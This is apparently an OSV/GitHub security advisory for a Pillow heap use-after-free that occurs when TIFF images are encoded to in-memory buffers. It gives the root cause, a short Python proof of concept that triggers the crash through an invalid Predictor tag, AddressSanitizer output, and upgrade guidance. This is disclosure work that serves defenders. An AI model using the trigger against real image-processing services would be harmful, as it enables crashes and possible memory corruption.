---
id: CVE-2026-112396
aliases:
  - GHSA-4rr5-89j8-mwwm
  - BIT-pillow-2026-112396
  - PYSEC-2026-4328
title: 'Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer'
summary: 'Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer'
severity: medium
cvss: 5.9
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: pillow
product: pillow
ecosystem: pip
affected:
  - 'pillow >= 11.3.0, < 13.0.0'
patched:
  - pillow 13.0.0
published: '2026-10-21'
updated: '2026-10-27'
sourceUpdated: '2026-10-27T11:10:49.694224501Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-4rr5-89j8-mwwm'
references:
  - url: >-
      https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-112396'
  - url: >-
      https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb
  - url: 'https://github.com/python-pillow/Pillow'
  - url: 'https://github.com/python-pillow/Pillow/releases/tag/13.0.0'
  - url: 'https://github.com/advisories/GHSA-4rr5-89j8-mwwm'
tags:
  - osv
  - pip
  - ghsa
  - cve.org
epss: 0.00694
epssPercentile: 0.52754
ssvc:
  exploitation: none
  automatable: 'no'
  technicalImpact: partial
  timestamp: '2026-10-20T15:10:26.056158Z'
cwe:
  - CWE-416
ingestedAt: '2026-10-19T21:43:56.136Z'
---

## Overview

### Summary
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

### Details
The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):

- `src/libImaging/TiffDecode.c:1041-1046`

Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:

- `src/encode.c:99-101`
- `src/libImaging/TiffDecode.c:955`

`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:

- `src/libImaging/TiffDecode.c:103-115`

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

### PoC
```python
import io
from PIL import Image

# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3})  # 317 = Predictor
```

Run it:
```
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with `-fsanitize=address`), relevant frames:
```
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115
    #3 TIFFFlush                      libtiff.so.6
    #5 TIFFClose                      libtiff.so.6
    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955
    #7 _dealloc                       src/encode.c:100
freed by thread T0 here:
    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045
    #2 _encode                        src/encode.c:139
previously allocated by thread T0 here:
    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863
    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
```
The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.

### Impact
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

## Affected packages

- `pillow >= 11.3.0, < 13.0.0`

## Remediation

Upgrade to a patched release:

- `pillow 13.0.0`
